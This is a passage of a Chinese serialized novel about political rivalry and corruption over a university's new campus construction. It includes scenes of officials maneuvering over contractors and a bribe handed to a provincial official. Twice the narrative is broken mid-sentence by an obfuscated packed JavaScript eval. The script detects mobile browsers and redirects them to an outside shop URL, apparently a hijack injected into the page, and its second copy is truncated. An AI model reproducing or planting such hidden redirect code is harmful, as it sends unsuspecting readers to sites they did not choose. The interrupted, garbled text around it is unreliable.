他瘫坐在椅子里,窗外明媚的阳光和斑驳的光影,在他眼中都褪成了灰白。他曾以为自己在脚踏实地地前行,此刻却惊觉,脚下的路早已被他人铺设完毕,通往一个既定的牢笼。胸腔里堵着一块巨石,每一次呼吸都需耗费莫大的力气,那不是疲惫,而是对自身无能的清醒认知所带来的窒息。 “棋子”,这个无声的词汇在脑海中炸开。他忽然觉得这些年来,自己就在更高的意志面前,不过是早已被编排好的戏码。自己的勤勉和努力,现在看来简直就是辛辣的嘲讽。他闭上眼,一种深入骨髓的排斥与反感,像野草般在荒芜的心田里疯长:总有一日,我要跳出棋盘,走出一条新路来。 满怀闷闷不乐的心绪,周末顾明远带着女儿安安看望外公外婆。 自从女儿遭遇意外后,短短半年,吴若甫好像是被岁月的车轮狠狠碾压了十年。原本只是花白的头发,如今已是刺目的雪白,往日挺拔的脊梁也仿佛被抽走了筋骨,佝偻出令人心酸的弧度,曾经是那般中气十足的嗓门,如今说起话来却带着风箱拉动般的嘶哑与无力。 这让原本对吴若甫若即若离的顾明远心中涌起了一份前所未有的的责任感。只要一有空闲,他就会扎进吴家,有时是默默地帮着做些家务,有时陪着老人在阳台上晒晒太阳。只要是周末,一定会带上女儿顾安然登门,他要给这个家庭带来些生气和快乐。 吴若甫的变化,顾明远其实是有所感觉的。最大的变化便是他不再是那个热衷于对顾明远耳提面命、挥斥方遒的“导师”,激烈的意气仿佛一夜之间被磨平,只剩下一种被岁月洗刷过的、近乎萧索的平和。当然,顾明远不能明白的是,这转变背后,其实是藏着不足为外人道的清醒与悲凉。女儿在时,顾明远算是半个儿子,是他和老伴可以寄予“养老送终”厚望的倚仗。如今这最重要的纽带断了,翁婿名分虽在,情分却已悬空。吴若甫清楚,自己对顾明远的任何扶持,都已失去了要求回报的立场与底气。那份曾倾注在女儿身上的情感与期许,连同对未来晚景的筹划,都一同落了空。他不再指点,不是不想,而是深知,自己已经失去了那个初心和动力。 吃完晚饭后,顾明远主动将学校任命的事情说了出来,眼里满是求教的渴望。吴若甫只是抬起那双失去了神采的眼睛,疲惫地摆了摆手,声音低沉而沙哑:“你现在已经成熟了。很多事情,可以自己拿主意了。我老喽,跟不上节奏啦……”。 语气里透着一股深深的、无能为力的倦怠。只是在外孙女说出“当官有什么好呀”的话后,吴若甫才轻声地补充了一句:“不过……,做一把手嘛,该请示的还得请示,……到位不越位。” 这句看似随意的提醒,像一颗石子在顾明远心中荡开了一圈圈意味深长的涟漪。他听懂了老人点到为止的关心,这是提醒他必须尽快、主动地去向那位强势的分管领导表态。这允许是老人固守的官场生存法则。 带着这份沉重的领悟,任命宣布的当天,顾明远硬着头皮走进了孟超的办公室。 孟超的第一反应不是祝贺,而是皱着眉头语气显得冷淡:“怎么就你一个人?韦江龙副处长没和你一起来吗?”那语气,仿佛顾明远只是一个不相干的传话人。 顾明远心中苦笑,只好拿起手机,当着孟超的面拨通了韦江龙的电话。 韦江龙很快赶到。他的脸上似乎看不出太多表情变化,但眼神深处那一闪而过的失落和怨愤,却没有逃过顾明远敏感的眼睛。 孟超有意望向韦江龙:“江龙,你是基建处的老同志了,经验丰富,今天想听听你们两位对新校园建设的一些思考。”说是要听两人的思考,却只点韦江龙一人的名字,孟超显然是有意压一压顾明远。 韦江龙正憋着一肚子火无处发泄,现在有孟校长的撑腰,他几乎看都不看顾明远,更谈不上客气谦让,直接语气生硬地开了口:“现在有人主张‘分步实施’,这个想法看似稳妥,但极易导致整个新校园的建筑风格不统一、功能布局割裂,将来很可能出现‘摊大饼’、‘打补丁’的局面,最终的整体效果会大打折扣,甚至可能沦为败笔。” “分步实施”是最近顾明远和韦江龙闲聊时随意提出的个人看法,没想到现在却被韦江龙当成攻击的目标,本来对韦江龙有些愧疚的顾明远有些上火,不待孟超说话,语气平和中带些锋芒地说道:“其实分步实施也只是我最近调研兄弟高校做法后的初步想法。韦处长刚才只提到了分步实施,担心风格不一、功能割裂。其实,我的完整意思是‘一体规划、分步实施,而‘一体规划’正是为了避免这些风险的关键钥匙。” 顾明远的气势和口吻让孟超有些不悦,几次伸手想要打断,不想顾明远却刹不住车,坚持继续说下去:“目前最大的难题就是资金。如此庞大的工程至少需要15亿的资金安排,在缺少财政拨款或贷款渠道未明的情况下,资金风险和压力不能不考虑……。” 说到这里,孟超“嚯”地站起身来,语气里明显带有嘲讽的味道:“顾处长这是校长的口吻嘛,看来你的站位比我们高啊”,顿了顿继续说道:“你刚才讲了这么多,能不能让我也说两句呀?”说罢从烟盒里取出一支烟来,韦江龙赶紧起身给他点上。长长吐出一道蓝色烟雾后缓缓地说道:“各个学校各有自己的校情,人家分步实施,我们就必须分步实施?那不是照搬照抄的嘛。再说,你口口声声讲资金压力,这是你基建处要考虑的事吗?不是越俎代庖抢了人家财务处的饭碗嘛。人家江副校长本事大得很,你还担心他筹不来钱?” 说到这里,孟超有意将目光转向了韦江龙:“韦处长的担心其实很有道理嘛。分步实施最大的隐患就是时间线会被无限拉长,到时候各个阶段衔接出问题,这让我这个指挥部总指挥很难搞的。顾处长你也是副总指挥,考虑问题总不能太过理想化了嘛。” 顾明远这才意识到,刚才的任命宣布会上,周濂亲自宣布了成立新校园建设指挥部的决定,自己又在无人告知的情况下被任命为副总指挥。既然自己是副总指挥,那就更应该将自己的想法充分表达出来。虽然明知道孟超是在有意抑顾扬韦,顾明远也顾不了许多,站起身来向对“一体规划、分步实施”作些补充说明,却被孟超用“你不要说了”直接打断,然后坐回到椅子中,以不容置疑的口吻总结道:“今天的碰头就先到这里。江龙,你尽快配合顾明远同志,尽快拿出一个新校园建设的书面报告出来。”然后将目光盯着顾明远:“顾处长新官上任,要多尊重江龙他们的意见,毕竟他是学工程专业出身的嘛。今后,你们基建处提交给我的请示报告,必须你们两人双签字才行。” 韦江龙自然听出了孟超抬举自己、制衡顾明远的意思深意,心里既高兴又担忧。韦江龙生性谨慎胆小,深知顾明远能打破常规坐上处长位子,背后必定有戈、周他们的强力支持,担心如果过分为难会激怒对方引起报复。昨天周濂校长罕见地主动上门,交代自己要好好配合顾明远共同承担起新校园建设这个光荣而艰巨的历史使命,最后意味深长说了句“顾处长不会一直定在基建处”的话。韦江龙觉得,周濂的话即使敲打,也是暗示。想到这些,韦江龙在心里暗暗告诫自己:校长、副校长的意图都得领会,该制约的制约,该配合的配合。 走出孟超的办公室,韦江龙有意凑近顾明远:“其实吧,你刚才讲的‘一体规划、分步实施’也不是没有道理”,顾明远愣了一下,停下脚步看着韦江龙:“那你刚才?” “嗨,那还不是总指挥想考验考验江川的能力嘛。” 顾明远这才想起校园中那些关于江川和孟超不和的那些传闻。不过,他对韦江龙这种两边讨好的做法很不感冒,语气变得有些严肃起来:“江龙,你的专业精神和能力一直是我敬重的。我们相处了两年多,相信你对我的为人还是有一定的了解。我还是那句话,我不会在基建处一直呆下去的。但只要呆上一天,就一定要尽心尽责做好自己的工作。我也特别希望你和我一起将学校这个‘百年大计’从蓝图变成现实。放心吧,功劳算你的嘛。” 韦江龙没料到顾明远能说出这番推心置腹的话来,羞赧得满脸通红,作为汇报,他主动建议道:“顾处,要不行的话,你可以将‘一体规划、分步实施’的想法给书记校长汇报汇报,这样压力不就小了吗。” 顾明远觉得有理。在和韦江龙他们反复研究论证后,将更加成型的想法向戈大垣和周濂作了详细汇报,没想到,竟然得到了二人的基本认可。末了,顾明远郑重其事地向周濂提出请他出面去说服孟超的请求,周濂爽快答应了他。 征地完成后,“楚江大学新校园建设指挥部”在工地现场的简易板房前举行了隆重的揭牌仪式。让人意外地是,在宣布指挥部组成人员名单时,刚刚退休的周青松赫然在列,并被堂而皇之地安上了“总顾问”的头衔。这样的安排让周青松心里乐开了花。一年的持续公关换来了一份三年的返聘合同,每年至少能增加五万块的稳定收入,这无意是既有面子又有里子的大好事。当然,混迹官场几十年周青松心里清楚,自己这个“总顾问”其实也未必好当。前天,戈大垣亲自找他进行返聘谈话,用了一个生动的比喻:顾问顾问,既要顾,也要问,就像厨师,既要提供菜谱,关键时刻也得亲自下场掌勺。书记花说得轻巧,“亲自掌勺”?孟超会高兴?顾明远会买账?对于“顾问”角色定位,周青松其实早有自己的打算:多提供“菜谱”(即建议和意见),少下场“掌勺”(即具体操办和决策)。顾问嘛,精髓就在于“顾而不问”或“问而不顾”,千万不能轻易得罪孟超、顾明远这些“现管”,有所为有所不为,才能细水长流。 指挥部刚一成立,总指挥孟超便以一连串不容置疑的动作,将“孟超节奏”施加给指挥部各个部门。他建立了联席会议机制,竟然要求每个周六清晨七点半召开,这让一帮包括顾明远在内的一帮孩子半大不小的人心中暗暗叫苦。每次开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904254|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,但凡有人发言拖沓或重复,孟超便会敲着桌面直接打断;当各方意见纷纭、争论不休时,他从不充当调停的和事佬,而是抛出冰冷的一句“等你们有了统一意见再向我汇报”便独自离席……。所有这些,他要向所有人清晰无误地发出一个信号:在这里,所有的决策拍板,只能源字他孟超本人。 今天的会议主题是讨论新校园规划设计的问题。孟超照例先做引导性讲话,核心就是一句话:选择设计公司,关键不在“名头”而在“实际能力”。 在座的人都听出了弦外之音,这显然是针对顾明远最近坚持面向全国邀请顶尖设计院参与规划设计的主张而来的敲打。按照会前孟超的招呼,“总顾问”周青松第一个表态发言,平日里不紧不慢的风格变得干脆利落:“孟校长的讲话既高瞻远瞩又实事求是。我是完全赞同的。设计公司嘛,关键要看实力,看性价比,看能不能实现我们校方的意图。不能只重名声搞花架子嘛。”他巧妙地将“顶尖设计院”与“花架子”挂上了钩。 招标办主任谭明波接着发言。他首先声明自己是转达分管领导张茅的意见,然后推了推眼镜说道:“张校长就一个交代,孟校长是总指挥,设计公司招标的事情,要充分尊重和听取孟校长的意见。” 有了周青松和谭明波的铺垫,会议室里,“支持孟校长意见”、“注重实际能力”、“控制成本”的声音几乎成了压倒性意见。 看见身旁的顾明远始终紧抿嘴唇沉默不语,孟超脸上挤出一丝看似轻松实则冰冷的笑容调侃道:“怎么样?顾副总指挥来一个压轴表态?要不,大家鼓掌欢迎一下?” 稀稀拉拉的掌声在会议室里响起。顾明远本就不打算回避,站起身来,目光平静地扫过众人后说道:“首先,我想明确一点。按照分工,设计公司的招标责任主体是招标办。我们指挥部是协调、决策机构,不能大包大揽,越俎代庖。”周青松听出顾明远这是在强调程序正义,偷偷瞄了一眼孟超,果然见他脸色瞬间阴沉了几分,心里不免暗喜。 “其次,”顾明远话锋一转,直接切入正题:“今天既然是个研讨会,那应该可以畅所欲言。讲老实话,在设计公司选择的标准和定位上,我与在座诸位同仁的看法可能有所不同。” 会议室顿时安静下来,所有人的目光都聚焦在他身上。 “戈书记多次提出要建设‘百年校园’,孟校长也强调要打造‘样板工程’。我觉得这是真正的高瞻远瞩。我的理解是,要实现这些宏大目标,我们必须抓住源头——那就是高起点、高水平的规划设计。”他的语气带着一种学术辩论式的执着:“据我所了解和调研,国内那些真正享誉盛名顶尖设计公司,他们的优势决不仅仅在于‘名头’,更在于他们拥有更广阔的视野、更丰富的实战经验、更优秀的设计团队和更严格的质量控制体系。在这个问题上,我们不能,也不应该为了节省所谓的设计费,就降低标准屈就甚至照顾那些综合实力有限的设计院所,这会给后面的建设埋下无穷隐患,甚至可能造成无法弥补的遗憾。” 不等顾明远话音落地,有些失去耐心的脸色铁青,毫不客气地站起身来:“好了。今天的会议就到这里。散会!”说完,瞪了韦江龙一眼:“你们基建处继续深入研究后向我报告。” 众人散去后,韦江龙快步走到正在收拾文件的顾明远身边问道:“顾处长,您看……这招标对象的标准和门槛该怎么设定呢?” 孟超拂袖而去的态度自然给了顾明远巨大的压力。他知道,如果坚持自己的想法,与孟超爆发正面冲突就难以避免,今后的工作开展必将寸步难行。他被一种无力感紧紧缠绕,犹豫了一下,也只好用上了官场上惯有的“再研究研究”来答复韦江龙。这种“再研究研究”的套路恰是顾明远最深恶痛绝的。在他看来,这样的作风其实就是推诿、拖延和不负责任。但是,如今面对明确的上司压力,他又能怎样呢? 顾明远是最后一个离开指挥部临时板房的。夕阳的余晖将他的影子拉得很长,显得有几分孤寂和落寞。正要打开车门,却发现周青松站在不远处一棵柳树下向他招手。 周青松略作迟疑后说道:“顾处刚才的发言还是非常有见地的。高起点、高标准规划设计,这个观点我举双手赞成。” 顾明远对周青松这种两边讨好的习惯做法不以为然,有些冷冷地问道:“周处长可以跟孟校长这样说呀。” 周青松往前靠近一步,声音压低了些:“明远,你又冲劲是好事,但有些事急不得,此路不通,可以找彼路的呀”,说到这里,他脸上露出一丝诡异的笑容,抬起右手,意味深长地向上指了指。 又是和韦江龙同样的建议,顾明远虽然反感,但觉得似乎也只有这条路可走:将自己的想法假手主要领导上升为学校的决定,这样一来,孟超即使千般不愿也无法强行反对。 接下来整整一周,经过一番充分准备后,顾明远分别向戈大垣和周濂进行了详尽的汇报。从国内外设计园所校园规划设计案例,到教育发展趋势对学校办学功能的需求,再到资金筹措及项目安排……,条分缕析、细致具体,让原本有些倾向孟超“本土化院所更加实惠方便”观点的戈大垣最终改变了主意,明确表态支持顾明远“面向全国,选优选强”的总体想法。周濂更不用说,明确表态权力支持顾明远的想法。 孟超一眼就看出了这是顾明远背着他运作的结果。一个电话,紧急将顾、韦二人招进了办公室。不等而人坐定,孟超抓起一份文件用力地拍打桌面,怒气冲冲地斥道:“你们基建处是不是有点得意忘形了?学会‘曲线救国’越级上报啦?我就不明白了,我们武汉,乃至全省,这么多有实力、有业绩的设计院所,难道就没有一家能入你们的法眼?!” 说的是基建处,骂的确是顾明远。看见韦江龙局促不安、不知所措的样子,气血上涌的顾明远脸颊发烫,恨不得立刻据理反驳。但想想周濂“要尊重孟校长”的提醒,他强迫自己冷静下来:是啊,反正戈、周有了明确意见,此时如果逞一时之快,除了激化矛盾外再无任何意义。想到这里,顾明远出人意料地弯腰捡起孟超拂落在地的文件,神情淡定地说道:“孟校长,我们都是为了将新校园建得更美更好,目标是一致的。其实吧,只要能力和水平合适,我们也从来没有拒绝本土院所,反正招标都是公开的嘛”,韦江龙跟着打马虎眼:“要不孟校再和张校长沟通沟通,我回去后配合顾处再对招标文件完善完善。” 孟超只觉得一股恶气堵在胸口,自己的重拳仿佛打在了一团棉花上,所有力道都被顾明远的镇定消解于无形。他意识到刚才的发作有失身份,在心底里狠狠咒骂着顾明远这个“方脑袋”、“书呆子”、 “巴狗”后,强行将翻腾的怒意压下去,有些无可奈何地接受了韦江龙的提议。 54. 天鹅肉美 随着新校园一期工程五亿预算的公布,这块令人垂涎的“肥肉”,瞬间牵动了无数贪婪的神经。作为总指挥的孟超,内心被一种复杂的情绪反复撕扯:他仿佛站在一场空前盛宴的主位,志得意满地享受着执掌席次、挑选宾客的无上权柄;然而,望着台下越来越多背景各异、目光饥渴的“食客”,一阵蚀骨的寒意便不由自主地从心底升起——他比谁都清楚,若不能精巧地摆平这桌盛宴,自己极有可能从风光的座上宾,沦为他人盘中的祭品。 眼下,就有一个让人无比头疼的人物像上狗皮膏药一般粘住了他——手握高校基建审批权的“省里的领导”何荣坤。这些天,他的电话如同催命符,核心意图只有一个:为他表哥的建筑公司牵线,美其名曰为楚江大学新校园建设“做点贡献”。 话筒重重扣回座机,发出一声闷响。何荣坤那故作诚恳的嗓音还在耳膜上嗡嗡作响——这回倒是不提省领导了,改抬出自家的。 “贡献?”孟超从牙缝里挤出这两个字,嘴角扯出冰冷的笑意骂道:真他妈的又想当婊子又要立牌坊,分明是看中了新校园建设这块肥肉,空手套白狼而已。 想归想,恨归恨。现实的枷锁却比情绪更坚硬——何荣坤所在的处室,正死死卡着新校园建设审批的咽喉要道。此人既躲不起,更惹不起。若意气用事导致批文延误,受损的远不止工程进度,更是他孟超政治前程的厚度,这可是他日后与江川角逐校长之位最核心的筹码。 胸中那口浊气翻滚着,却必须寻一个稳妥的出口。无计可施?不,对于孟超而言,真正的“计”从来不在正面冲突,而在于如何转嫁风险与压力。他需要去找校长周濂。这并非是为了简单的诉苦,而是一场精心策划的“汇报”:必须让周濂清晰地知晓,项目推进的艰难并非他孟超无能,而是有何荣坤这样一尊“拦路神”;他更要让周濂明白,这个难题已非他一个副校长能够独立承担,需要校长亲自介入去协调解决。说到底,他要把烫手的山芋捧到周濂面前,让他共同面对这盘困局。 周濂似乎早预料到他的到来,脸上堆满笑意:“孟校长来得正好。”未等孟超开口,他拿起手机,指尖轻点屏幕调出一条短信,语调轻松得像在聊家常:“刚才卞厅长来了个电话,推荐了一家建筑工程公司,说是对咱们新校园项目很有兴趣,想参与一下。这样,我把卞厅长的短信发你,你看怎么处理。”说罢,抬起头来,目光看似随意地扫过孟超:“卞厅长的号码你也记一下,方便联系嘛。” 孟超的脑袋像被人从后面敲了一下,“嗡”地一声有些眩晕。顿了半天怯怯地问道:“卞厅长?哪个卞厅长?” “你不知道吗?卞同峰的叔叔卞建桥卞厅长呀,上个月刚刚提拔的。现在分管高校拨款呢。” 不愿意在校长面前显出自己信息不通的尴尬,孟超故作恍然地“啊”了一声,随口编了一个瞎话:“他呀,我还以为是另外一个卞厅长呢。” 瞎话只能应付眼前,却管不了长远。算起来,卞建桥这是第九个“癞蛤蟆”了。孟超也管不了许多,说出了“省里的领导”何荣坤打招呼的事情,至于刘芳、汪清早那些自己上门的“旧相好”,自然是半个字也不能说。当然,在校长面前,不能直接拒绝,而是转着弯表达自己的态度:“校长,您和书记可是一直强调承包公司的资质,如果让这些草台班子纷纷涌入,工程质量可就难保证了呀。” 周濂似笑非笑:“原则上当然应该如此。但有什么办法呢?学校的长远发展离不开他们的支持嘛。卞厅长已明确表态,可以给学校协调三千万的建设专项资金。现在学校经费缺口巨大,这是多大的一份人情呀,怎么能轻易拒绝?” 看见孟超若有所思的样子,周濂“呵呵”笑了起来:“我这也是为学校着想。我老罗,再过两年,担子就要交到你们年轻人的肩上。说大地,学校终究是你们的嘛。” 周濂这番话,语调温和,字字却重若千钧,像一只无形的手,轻轻堵住了孟超所有已到嘴边的辩解。他怔坐在沙发上,脸上努力维持着恭敬甚至略带感激的表情,胸腔里却仿佛瞬间被灌满了湿冷的铅。何荣坤的“表哥”还没打发,此刻又空降一尊分量更重的“卞厅长”。他清晰地感觉到自己正被一张张由权力和人情织就的巨网缠绕。一丝苦笑在他心底蔓延开来。他还能说什么呢?只能挺起脊梁装出受宠若惊的语气领下这份“重托”。一种无权做主的愤懑,让他这个本想做提线人的总指挥倒变成了别人手里的提线木偶。 心有不甘的孟超抓起电话叫来了韦江龙。 韦江龙静静地听着,仿佛只是录入信息的机器,脸上看不出半分波澜。直到孟超发泄完,他才不疾不徐地往前凑了半分,字斟句酌地说道:“孟校,这事说难也难,说易也易。您不是常教导我们要透过现象看本质吗?依我对何荣坤的观察和判断,他表面是为表哥牵线,骨子里无非是想捞取好处费。既然如此,我们何不‘出血’,买个清净,让他主动放弃?” 孟超心中暗自一惊,没料到平日看似老实的韦江龙,竟能想出这等“釜底抽薪”的法子,心底不免对其生出一丝警惕。面上却不动声色,故意不屑地说道:“你这是一叶障目。卞建桥难道不是为了好处费?” 韦江龙显得胸有成竹:“那不一样。卞建桥的官衔比何荣坤大,而且真金白银能给学校三千万,这比何荣坤空手套白狼要实在得多,更何况是周校长亲自给你打招呼了呢,这对您将来接班似乎更加重要些。” 孟超心里对韦江龙惊悸又多了两分,他脑海里甚至蹦出了“貌似忠厚内藏奸诈”这个古代小说的话来。他努力在韦江龙面前保持镇定,便轻描淡写地说道:“你说得轻巧。以何荣坤的胃口,这次没有十万只怕别想过关。这笔钱,从哪儿出?” 韦江龙心中暗喜,这一问正中他的下怀。周青松退休时,曾当着孟超的面将一张卡转交到他手中让他保管。韦江龙清楚,这实际上就是供孟超私下里消费的“小金库”。后来到银行一查,卡里竟然多达十七万之巨。韦江龙表面不说,心里早就翻江倒海夜不能寐,担心哪一天东窗事发将自己牵连进去。现在,这正是甩掉这颗烫手山芋的机会。 然而,当韦江龙说出动用“小金库”的想法时,孟超瞪了他一眼:“说什么呢。这可是辛辛苦苦攒了五六年的家底,凭什么白白便宜他何荣坤?” 韦江龙大感失望,只好抛出了自己的第二套方案:“那,刘芳总怎么样?这些年在您手上少说也赚了三四百万吧?要不……。” 话未说完,孟超的头已经摇得拨浪鼓似的。韦江龙说得没错,刘芳这几年的确没少在学校承包工程捞取实惠。但是,在这几年的交往中,孟超愈加清楚:刘芳就是一条裹着丝绸的鳄鱼,精准算计着每一分钱的回报。哪一天无利可图,立刻会亮出锋利的牙齿反噬。想起五天刘芳在床上说出的“总包新校园一期工程”的贪婪嘴脸,孟超到现在还是不寒而栗。虽然已经答应给她分包部分一期工程,但孟超心里已经告诫自己要疏远这个“吃人”的妖精。 不过,韦江龙的话倒是点醒了孟超。汪清早的名字跃进到他的脑海中。 说起和汪清早的相识,纯属一场“意外”。去年一次郊外钓鱼途中,两车发生剐蹭。因为是孟超车子的违规超车,起初汪清早态度强硬,坚持要报警处理。刚刚掏出手机,忽然发现车窗上面有一个楚江大学的标牌。汪清早立即放下了手机,悄悄和孟超的司机打听了一番,得知此人是楚江大学的副校长,当即脸色一变,放弃了追索,顺带和孟超交换了电话号码。 汪清早的豪爽给孟超留下了加好的印象。一回生二回熟。慢慢地,两人从相约钓鱼开始,不到半年就成了朋友。去年孟超主动给了汪清早一个工程后,两人的关系更上层楼,一块出入各种娱乐场所是常有的事。当然,汪清早留了一个心眼,在孟超面前绝口不提他与顾明远的同乡关系。 在汪清早答应支付何荣坤好处费后,孟超让基建处组局宴请何荣坤。 既是宴请方,又是老同学,顾明远不得不出息这场宴请。按照韦江龙发来的地址,顾明远搭乘的出租车在郊外山坳里七拐八绕,总算发现了一个名叫“山里人家”的酒店。高大茂密的树林深处,几幢白墙红瓦的房舍若隐若现,让这家酒店显得神秘而又吊诡。 韦江龙闻声迎出,带着顾明远穿过被风吹得“飒飒”作响的竹林小径,在酒店前一块刻着“山里人家”的巨石前,顾明远停下脚步,借着天光隐约看见落款处有“何荣坤”三个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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汪清早显然不愿交底,只含糊一句“缘分到了”,将话题转到自己的频道:“顾处长,你们新校园下半年就要动土了。我只求你一件事,行不?” 顾明远眉头微蹙着不说话。 “到时候,如果孟校长肯赏我口饭吃,你可千万别‘打破嘴’啊!”(注:“打破嘴”为黄冈方言,意指从中作梗、说坏话。) 顾明远挑了挑眉,声音有些清冷:“你意思是让我别挡你财路呗?放心,只要规规矩矩,我打什么破嘴呢。” 汪清早如蒙大赦,连连拱手。恰在此时,韦江龙在门口探出脑袋虚喊汪清早回去救场。 望着他离去的背影,顾明远眼神复杂,独自在清冷的竹林边伫立良久。 晚宴堪称一场“野味狂欢”:野生甲鱼、山鸡、麂子、野兔……琳琅满目。酒过三巡,还没有看见孟超放出“兔子”的何荣坤有些按捺不住,再次提出了表哥“贡献”的事情。 顾明远不知道孟超已有安排,按住何荣坤正要添酒的手想要替孟超解围:“老何,你的心情我太理解了。孟校对你的事比谁都上心。可你也清楚,工程建设环节多、规矩严,孟校不得公平处理才行嘛。多理解理解孟校,他都难啊。” 孟超没料到顾明远好心办坏了事,生怕何荣坤登场发作让大家下不来台,赶紧起身拥着何荣坤走上了三楼的茶室。韦江龙赶紧拿起椅子上的公文包跟了上去。 何荣坤僵在茶室这样不肯落座,目光锐利地刺向孟超:“看来你这个总指挥搞不定嘛,你们高校这是什么官僚作风嘛。” 韦江龙赶紧关好房门,将公文包递到孟超手中。孟超只拉开公文包一角,里面红彤彤的票子将何荣坤的脸色映红了些,顺势坐到了椅子上。孟超压低了声音说道:“何处多理解包涵。这次工程太大容易让人盯住。再说,您表哥这样的人才,今后合作的机会还有的是。这点‘茶水费’,算是我个人的一点心意。” 何荣坤不动声色瞟了一眼公文包,脸上的阴云如同被疾风吹散,“唰”地一下消失得无影无踪。他伸出略显油腻的手,重重地、带着掌控一切的意味拍在孟超手背上:“孟校这就见外了。我本意不过是是想帮你们楚江大学一把嘛。既然你有实际难处,这次就算了罢。不过以后,我表哥那边,还少不得你多多照应。” 三人有说有笑重新回到二楼的包房中。只一会儿工夫,笑语声、猜拳声几乎要冲破房门,漫淹掉整座楼房。 55. 不速之客 自从指挥部成立以来,没完没了的会议、没完没了的争论、没完没了的加班,让顾明远像一枚被强行楔入高速运转机器中的齿轮,日夜不休,磨损得厉害。疲惫刻在他的眼袋里,烦躁郁结在他的眉心。在这样的日子里,周六便不再是普通的周末,而是他疲惫时光里唯一的指望和渴求。他期盼能静静坐在女儿身边,好好补偿一周缺失的陪伴;他也期盼能陷在柔软的枕头里,睡上一个无人打扰的懒觉,直到阳光爬满整张床。 然而,人在江湖,身不由己。 周六早上八点刚过,一阵急促的敲门声,把顾明远从温暖的被窝里拽了出来。他睡眼惺忪,趿拉着拖鞋,带着一肚子被打扰的火气拉开房门。 门外站着的,是风风火火的二姐顾小满,在她身后,是那个让顾明远本能想躲着的汪清早。 “二姐,你这一大早的……”,顾明远打了个长长的哈欠,声音带着几分未醒的沙哑。当西装革履、笑容可掬的汪清早频繁点头示意时,顾明远用审视和疏离目光扫了他一眼,碍于二姐的面子,只能侧身让开,不咸不淡地请他进来。 汪清早嘴上说着“打扰”,两条腿却像安了弹簧利落地弹过了门槛。 半年前父亲去世后,汪清早凭着那张能把稻草说成金条的嘴,硬是把留在老家照顾父亲的顾小满又拽回了武汉,还煞有介事地给她她安了个“接待部副部长”的头衔。 顾小满急于向弟弟展示自己的职业高度,刚刚落座,便从精致的坤包里掏出一张烫金名片,带着点小得意在顾明远眼前晃了晃:“喏,瞧瞧,你姐现在也是汪总公司的高管了。” 顾明远鼻腔里发出一声短促的轻嗤,目光掠过名片,直接落在汪清早那张堆笑的圆脸上,话里带着明显的刺:“哟,汪老板这么好心?”那语调,明晃晃地写着“不信”二字。 弟弟话语里的冷淡和质疑,让顾小满脸上挂不住了,上前拽住顾明远的胳膊,不由分说将他拖进到书房里说话。 “砰”的一声带上门,她重重拍了下顾明远的肩膀,压低声音急促地说道:“明儿,你想害死你姐是不是?汪总是我老板!是我的饭碗!你就不能给姐留点面子?客气点能掉块肉啊?” 看着二姐因急切而泛红的脸颊,顾明远揉了揉被拍疼的肩膀,嘴角勉强扯出一个安抚的笑容:“行行行,二姐的面子比天大,我注意,注意行了吧。” 顾小满这才松了口气,脸上重新挂上笑容,推搡着弟弟回到客厅。 客厅里,汪清早正背着手,像欣赏自家藏品一样,悠闲地打量着屋内的简单陈设。顾小满殷勤地给他冲了杯速溶咖啡,然后弯腰从带来的礼品袋里,小心翼翼却又刻意隆重地拎出两瓶酒,“啪”地一声放在茶几上,亮开嗓门:“明儿,这可是汪总特意给你准备的30年飞天茅台。” “三十年”三个字,被顾小满特意用加重的语气说出,成了一句巧妙的一语双关。弟弟听到的,是汪老板慷慨给予的、沉甸甸的情义与分量;而汪老板听到的,则是她心领神会、溢于言表的知遇与感恩。一句话,在两个听者心里激起了不同的涟漪,达成了心照不宣的默契。 顾明远的眼皮都未曾为那两瓶价值不菲的美酒扯动一下。这份刻意的漠然,显然是有意为之。这酒的价钱,他再清楚不过,也正因如此,汪清早将其作为“敲门砖”的意图便显得格外可笑与赤裸,一种“黄鼠狼给鸡拜年”的警觉瞬间在他的脑海里拉响警报。看着汪清早手中的咖啡,顾明远骨子里的轻慢又漫了上来,俏皮话张嘴就来:“汪总这是紧跟潮流啊?连口味都升级换代了?” 顾小满抢着解释,语气里带着对老板品味的推崇:“我们汪总最喜欢与时俱进,咖啡在生意场上既有范儿,又显档次。” 顾明远对二姐新学的马屁功夫有些反感,嘴角泛起一丝若有若无的笑意调侃道:“哟,二姐,‘范儿’是个啥玩意?你这夸人的用词也在与时俱进了嘛。” 汪清早对顾明远这绵里藏针的调侃视若无睹。商海沉浮这些年,他早就练就了一身铜皮铁骨。他乐呵呵地呷了一口咖啡,用一句万金油般的套话回应:“时代在进步嘛,咱们也得与时俱进,跟上潮流不是?” 表面上对顾明远笑容谦卑,可那双被肥肉挤得愈发显小的眼睛里,却藏着一丝不易察觉的轻蔑。在他看来,眼前这个端着处长架子、不通人情世故的读书人,不过是个守着死工资、不识时务的“穷酸秀才”罢了。心里这样想着,面上却半点不敢流露,他知道自己此行的目的——借着顾小满这块跳板,为楚江大学即将开标的一期工程加固最后一道堤坝。昨天,孟超透露,顾明远是即将召开的招标会的核心评委。汪清早清楚,能否竞标成功,也许成也顾明远,败也顾明远。 汪清早几次不动声色地想将话题引向新校园招标上去,可顾明远要么装聋作哑,要么把话题岔开,就是不滑进汪清早设定的轨道上来。 汪清早心里暗骂了几声。眼看正面强攻无效,便祭出了迂回战术。“顾部长,”他故意用头衔称呼着顾小满,声音洪亮地说道:“你还没跟顾处长汇报汇报你现在的待遇情况吧?让顾处长也替你高兴高兴嘛。” 顾小满心领神会,脸上光彩照人:“明儿,这次回来,汪总给我开的是公司副总的薪水。” 